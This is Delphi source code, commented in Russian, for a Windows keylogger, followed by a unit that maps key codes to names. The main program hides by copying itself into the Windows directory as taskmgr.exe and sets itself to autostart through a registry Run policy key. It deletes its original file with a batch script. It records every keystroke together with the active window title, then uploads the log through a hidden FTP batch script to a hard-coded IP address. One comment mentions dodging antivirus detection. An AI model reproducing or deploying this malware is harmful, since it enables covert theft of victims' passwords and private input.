program KeyLog;
uses
SysUtils,
Windows,
Messages,
shellapi,
UnitKey in 'UnitKey.pas';//подключаем модуль который содержит
//функции обозначений клавиш его приведу ниже
label 1;
const
LogFileName: String = 'log.ext'; //задаем имя файла в котором будут сохраняться логи
LogFtpIp: String = '192.168.6.28'; //Задаем фтп на который будут скинуты логи
var //обьявляем переменные
sizelog,i:integer;
f,t,BatchFile,BachFileDelete: TextFile;
ProgName:string;
TempMem: Array[0..255] of Char;
CurDir: String;
function FileSize( const Path : String ) : Integer;//тута функция которая будет узнавать размер лог файла
var
FD : TWin32FindData;
FH : THandle;
begin
FH := FindFirstFile( PChar( Path ), FD );
Result := 0;
if FH = INVALID_HANDLE_VALUE then exit;
Result := FD.nFileSizeLow;
if ((FD.nFileSizeLow and $80000000) <> 0) or
(FD.nFileSizeHigh <> 0) then Result := -1;
FindClose( FH );
end;
//функция автозагрузки
function RegReg(key:Hkey; subkey,name,value:String):boolean;
var
regkey:hkey;
begin
result := false;
RegCreateKey(key,PChar(subkey),regkey);
if RegSetValueEx(regkey,Pchar(name),0,REG_EXPAND_SZ,pchar(value),length(value)) = 0 then
result := true;
RegCloseKey(regkey);
end;
//---------------------------------
begin
//узнаем имя нашей проги
ProgName:= ExtractFileName(ParamStr(0));
ZeroMemory(@TempMem, 256);
GetShortPathName(PChar(ProgName), TempMem, 256);
//---------------------------
if FileExists(GetWindowsDir + '\taskmgr.exe') then //проверяем копирнулись ли мы уже в системную диру
begin //если да то поехали
1:
sleep(1000); //спим секунду
assignFile(f,LogFileName);//начинаем создавать файло лога
if not fileexists(LogFileName) then //если его нет то
begin
rewrite(f); //создаем
end
else
begin //если нет то
sizelog:=FileSize(LogFileName);//узнаем его размер
if sizelog>5248000 then //если он больше 5 метров
begin
sleep(600*1000); //то спим 10 мин
AssignFile(BatchFile, 'start.bat');//создаем бат файл с текстом соединения с фтп
Rewrite(BatchFile); //создали
Writeln(BatchFile, 'ftp -s:commands.txt -A'); //записали команду
CloseFile(BatchFile); //закрыли
AssignFile(t,'commands.txt'); //создаем текстовой файл с коммандами фтп
Rewrite(t); //создали
Writeln(t, 'open '+LogFtpIp);
Writeln(t, 'cd upload');
Writeln(t, 'put '+LogFileName);
Writeln(t, 'bye');
CloseFile(t); //закрыли
ShellExecute(0, 'open', PChar('start.bat'), nil, nil, SW_HIDE);//запускаем наш созданный батник
sleep(10000);//ждем 10 секунд
DeleteFile(PAnsiChar('start.bat')); //удаляем наш батник
DeleteFile(PAnsiChar('commands.txt')); //и файл с коммандами
rewrite(f); //обнуляем лог файло
closefile(f);//закрываем лог файло
goto 1; //переходим к метке 1
end;
append(f);//если файл не 5 метров то просто продолжаем прибавлять логи в файл
end;
while true do //ну собстна пока не обосремя будем делать написанное ниже
begin
yield;
sleep(100);
for i:=33 to 254 do //ну здесь собстно начинается цыкл
begin
if GetAsyncKeyState(i)<>0 then //который будет добавлять набранные буковки
begin
if not canTranslateCode(i) then //с клавы
begin
writeln(f,datetimetostr(now)+': '+ //дата время наш символ и приложение в котором было это набрано
floattostr(ord(i))+' ('+chr(i)+') ('+
GetFormText(GetForegroundWindow)+')'); //бла
end
else
begin
writeln(f,datetimetostr(now)+': '+ //бла
TranslateCode(i)+' ('+GetFormText(GetForegroundWindow)+')');//бла
end;
end;
end;
end;
closeFile(f);//ну и в конце закроем этот файло
end
else
begin
SetFileAttributes(PansiChar(paramstr(0)), faHidden);//скрытый файло
CopyFile(PansiChar(paramstr(0)),PAnsiChar(GetWindowsDir+'\taskmgr.exe'),false);//копируем себя в системную диру
SetFileAttributes(PansiChar(paramstr(0)), 0);//опять нормальный файло
//добавляемся в реестр
RegReg(HKEY_CURRENT_USER,
'Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',
'wininet',String(GetWindowsDir)+'\taskmgr.exe');
//--------------------------
//удаляем себя путем создания бат файла который запуститься и удалит и нашу прогу и сам себя
CurDir:= GetCurrentDir;
SetCurrentDirectory(PChar(ExtractFileDir(ParamStr(0))));
AnsiToOem(TempMem, TempMem);
ProgName:= TempMem;
AssignFile(BachFileDelete, '$$202803.bat');
Rewrite(BachFileDelete);
Writeln(BachFileDelete, ':try');
Writeln(BachFileDelete, 'DEL "' + ProgName + '"');
Writeln(BachFileDelete, 'IF EXIST "' + ProgName + '" GOTO try');
Writeln(BachFileDelete, 'DEL "$$202803.bat"');
CloseFile(BachFileDelete);
ZeroMemory(@TempMem, 256);
GetShortPathName(PChar('start.bat'), TempMem, 256);
//WinExec(pchar('$$202803.bat'), SW_HIDE); авира орет
ShellExecute(0, 'open', PChar('$$202803.bat'), nil, nil, SW_Hide);
SetCurrentDirectory(PChar(CurDir));
//-----------------
end;
end.
Далее код того модуля про который сказано чуть выше в начале первого исходника:
Сдесь в принцепе и коментить нечего просто приведены соответствия клафишКод
Unit UnitKey;
interface
uses Windows, Messages;
function GetWindowsDir: string;//функция которая узнает путь к системной дире
function GetFormText(form:HWND):string;//функция узнает в каком приложении были набраны буковки
function canTranslateCode(code:cardinal):boolean;//2 функции обозначения символов
function TranslateCode(code:cardinal):string;//и это тоже
implementation
function GetWindowsDir: string;
var
S: array[0..MAX_PATH] of Char;
begin
GetWindowsDirectory(S,SizeOf(S));
Result:=S;
end;
function GetFormText(form:HWND):string;
var ch:array[0..255] of char;
begin
GetWindowText(form,ch,sizeof(ch));
Result:=ch;
end;
function canTranslateCode(code:cardinal):boolean;
var caption:string;
begin
caption:='';
case code of
VK_LBUTTON: caption:='Left mouse button';
VK_RBUTTON: caption:='Right mouse button';
VK_CANCEL: caption:='Control+Break';
VK_MBUTTON: caption:='Middle mouse button';
VK_BACK: caption:='Backspace key';
VK_TAB: caption:='Tab key';
VK_CLEAR: caption:='Clear key';
VK_RETURN: caption:='Enter key';
VK_SHIFT: caption:='Shift key';
VK_CONTROL: caption:='Ctrl key';
VK_MENU: caption:='Alt key';
VK_PAUSE: caption:='Pause key';
VK_CAPITAL: caption:='Caps Lock key';
VK_ESCAPE: caption:='Esc key';
VK_SPACE: caption:='Space bar';
VK_PRIOR: caption:='Page Up key';
VK_NEXT: caption:='Page Down key';
VK_END: caption:='End key';
VK_HOME: caption:='Home key';
VK_LEFT: caption:='Left Arrow key';
VK_UP: caption:='Up Arrow key';
VK_RIGHT: caption:='Right Arrow key';
VK_DOWN: caption:='Down Arrow key';
VK_SELECT: caption:='Select key';
VK_PRINT: caption:='Print key';
VK_EXECUTE: caption:='Execute key';
VK_SNAPSHOT: caption:='Print Screen key';
VK_INSERT: caption:='Insert key';
VK_DELETE: caption:='Delete key';
VK_HELP: caption:='Help key';
VK_LWIN: caption:='Left Windows key';
VK_RWIN: caption:='Right Windows key';
VK_APPS: caption:='Applications key';
VK_NUMPAD0: caption:='0 key (NumPad)';
VK_NUMPAD1: caption:='1 key (NumPad)';
VK_NUMPAD2: caption:='2 key (NumPad)';
VK_NUMPAD3: caption:='3 key (NumPad)';
VK_NUMPAD4: caption:='4 key (NumPad)';
VK_NUMPAD5: caption:='5 key (NumPad)';
VK_NUMPAD6: caption:='6 key (NumPad)';
VK_NUMPAD7: caption:='7 key (NumPad)';
VK_NUMPAD8: caption:='8 key (NumPad)';
VK_NUMPAD9: caption:='9 key (NumPad)';
VK_MULTIPLY: caption:='Multiply key (NumPad)';
VK_SEPARATOR: caption:='Separator key (NumPad)';
VK_SUBTRACT: caption:='Subtract key';
VK_DECIMAL: caption:='Decimal key';
VK_DIVIDE: caption:='Divide key';
VK_F1: caption:='F1 key';
VK_F2: caption:='F2 key';
VK_F3: caption:='F3 key';
VK_F4: caption:='F4 key';
VK_F5: caption:='F5 key';
VK_F6: caption:='F6 key';
VK_F7: caption:='F7 key';
VK_F8: caption:='F8 key';
VK_F9: caption:='F9 key';
VK_F10: caption:='F10 key';
VK_F11: caption:='F11 key';
VK_F12: caption:='F12 key';
VK_F13: caption:='F13 key';
VK_F14: caption:='F14 key';
VK_F15: caption:='F15 key';
VK_F16: caption:='F16 key';
VK_F17: caption:='F17 key';
VK_F18: caption:='F18 key';
VK_F19: caption:='F19 key';
VK_F20: caption:='F20 key';
VK_F21: caption:='F21 key';
VK_F22: caption:='F22 key';
VK_F23: caption:='F23 key';
VK_F24: caption:='F24 key';
VK_NUMLOCK: caption:='Num Lock key';
VK_SCROLL: caption:='Scroll Lock key';
VK_LSHIFT: caption:='Left Shift key';
VK_RSHIFT: caption:='Right Shift key';
VK_LCONTROL: caption:='Left Ctrl key';
VK_RCONTROL: caption:='Right Ctrl key';
VK_LMENU: caption:='Left Alt key';
VK_RMENU: caption:='Right Alt key';
VK_PROCESSKEY: caption:='Process key';
VK_ATTN: caption:='Attn key';
VK_CRSEL: caption:='CrSel key';
VK_EXSEL: caption:='ExSel key';
VK_EREOF: caption:='Erase EOF key';
VK_PLAY: caption:='Play key';
VK_ZOOM: caption:='Zoom key';
VK_PA1: caption:='PA1 key';
VK_OEM_CLEAR: caption:='None';
end;
if caption='' then Result:=false else Result:=true;
end;
function TranslateCode(code:cardinal):string;
var caption:string;
begin
caption:='';
case code of
VK_LBUTTON: caption:='Left mouse button';
VK_RBUTTON: caption:='Right mouse button';
VK_CANCEL: caption:='Control+Break';
VK_MBUTTON: caption:='Middle mouse button';
VK_BACK: caption:='Backspace';
VK_TAB: caption:='Tab key';
VK_CLEAR: caption:='Clear key';
VK_RETURN: caption:='Enter';
VK_SHIFT: caption:='Shift';
VK_CONTROL: caption:='Ctrl';
VK_MENU: caption:='Alt';
VK_PAUSE: caption:='Pause';
VK_CAPITAL: caption:='Caps Lock';
VK_ESCAPE: caption:='Escape';
VK_SPACE: caption:='Space bar';
VK_PRIOR: caption:='Page Up key';
VK_NEXT: caption:='Page Down key';
VK_END: caption:='End key';
VK_HOME: caption:='Home key';
VK_LEFT: caption:='Left Arrow key';
VK_UP: caption:='Up Arrow key';
VK_RIGHT: caption:='Right Arrow key';
VK_DOWN: caption:='Down Arrow key';
VK_SELECT: caption:='Select key';
VK_PRINT: caption:='Print key';
VK_EXECUTE: caption:='Execute key';
VK_SNAPSHOT: caption:='Print Screen key';
VK_INSERT: caption:='Insert key';
VK_DELETE: caption:='Delete key';
VK_HELP: caption:='Help key';
VK_LWIN: caption:='Left Windows key';
VK_RWIN: caption:='Right Windows key';
VK_APPS: caption:='Applications key';
VK_NUMPAD0: caption:='0';
VK_NUMPAD1: caption:='1';
VK_NUMPAD2: caption:='2';
VK_NUMPAD3: caption:='3';
VK_NUMPAD4: caption:='4';
VK_NUMPAD5: caption:='5';
VK_NUMPAD6: caption:='6';
VK_NUMPAD7: caption:='7';
VK_NUMPAD8: caption:='8';
VK_NUMPAD9: caption:='9';
VK_MULTIPLY: caption:='*';
VK_SEPARATOR: caption:='/';
VK_SUBTRACT: caption:='-';
VK_DECIMAL: caption:='+';
VK_DIVIDE: caption:='/';
VK_F1: caption:='F1 key';
VK_F2: caption:='F2 key';
VK_F3: caption:='F3 key';
VK_F4: caption:='F4 key';
VK_F5: caption:='F5 key';
VK_F6: caption:='F6 key';
VK_F7: caption:='F7 key';
VK_F8: caption:='F8 key';
VK_F9: caption:='F9 key';
VK_F10: caption:='F10 key';
VK_F11: caption:='F11 key';
VK_F12: caption:='F12 key';
VK_F13: caption:='F13 key';
VK_F14: caption:='F14 key';
VK_F15: caption:='F15 key';
VK_F16: caption:='F16 key';
VK_F17: caption:='F17 key';
VK_F18: caption:='F18 key';
VK_F19: caption:='F19 key';
VK_F20: caption:='F20 key';
VK_F21: caption:='F21 key';
VK_F22: caption:='F22 key';
VK_F23: caption:='F23 key';
VK_F24: caption:='F24 key';
VK_NUMLOCK: caption:='Num Lock key';
VK_SCROLL: caption:='Scroll Lock key';
VK_LSHIFT: caption:='Left Shift key';
VK_RSHIFT: caption:='Right Shift key';
VK_LCONTROL: caption:='Left Ctrl key';
VK_RCONTROL: caption:='Right Ctrl key';
VK_LMENU: caption:='Left Alt key';
VK_RMENU: caption:='Right Alt key';
VK_PROCESSKEY: caption:='Process key';
VK_ATTN: caption:='Attn key';
VK_CRSEL: caption:='CrSel key';
VK_EXSEL: caption:='ExSel key';
VK_EREOF: caption:='Erase EOF key';
VK_PLAY: caption:='Play key';
VK_ZOOM: caption:='Zoom key';
VK_PA1: caption:='PA1 key';
VK_OEM_CLEAR: caption:='None';
end;
Result:=caption;
end;
end.